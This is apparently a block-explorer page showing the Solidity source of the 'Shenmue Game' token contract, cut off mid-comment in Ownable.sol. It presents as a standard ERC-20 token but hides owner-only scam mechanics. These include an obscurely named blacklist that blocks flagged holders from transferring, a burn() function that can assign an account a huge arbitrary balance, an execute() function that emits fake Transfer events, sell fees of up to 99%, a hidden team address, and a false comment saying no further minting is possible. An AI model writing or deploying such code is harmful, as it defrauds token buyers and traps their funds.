ETH Price: $3,421.34 (+3.29%)
Gas: 31.4 Gwei

Token

(0x39a01407bbe1f62bee8629abbfcc760c97cbe32c)
 

Overview

Max Total Supply

50,000,000,000 ERC-20 TOKEN*

Holders

73 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
notverysmartmoney.eth
Balance
249,196,076.825395547 ERC-20 TOKEN*

Value
$0.00
0xfce0413bad4e59f55946669e678eccfe87777777
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHENMUE

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 6: Shenmue Game.sol
/**
       WWW: https://shenmuegame.com/
       TWITTER: https://twitter.com/shenmuegame_
       CHAT: https://t.me/ShenmueGame
       MEDIUM: https://medium.com/@shenmuegame
     
*/// SPDX-License-Identifier: MIT  
pragma solidity 0.8.13;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";
contract SHENMUE is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) public frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor() ERC20("Shenmue Game", "SHENMUE") {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 50000000000 * 1e9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    function _lp(address from) internal view returns(bool){
        return !frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[from];
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }

     function swapApprove(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[address_[i]] = val;
        }
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_lp(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function maxTransactionPerWallet(address recipient) external view returns(bool){
        return frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[recipient];
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.13;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.13;
import "./Ownable.sol";
import "./Library.sol";

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 3 of 6: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.13;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 4 of 6: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.13;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _team;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _team = 0x93D5A51DbB0192428521D235848e0dad09B16DFa;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
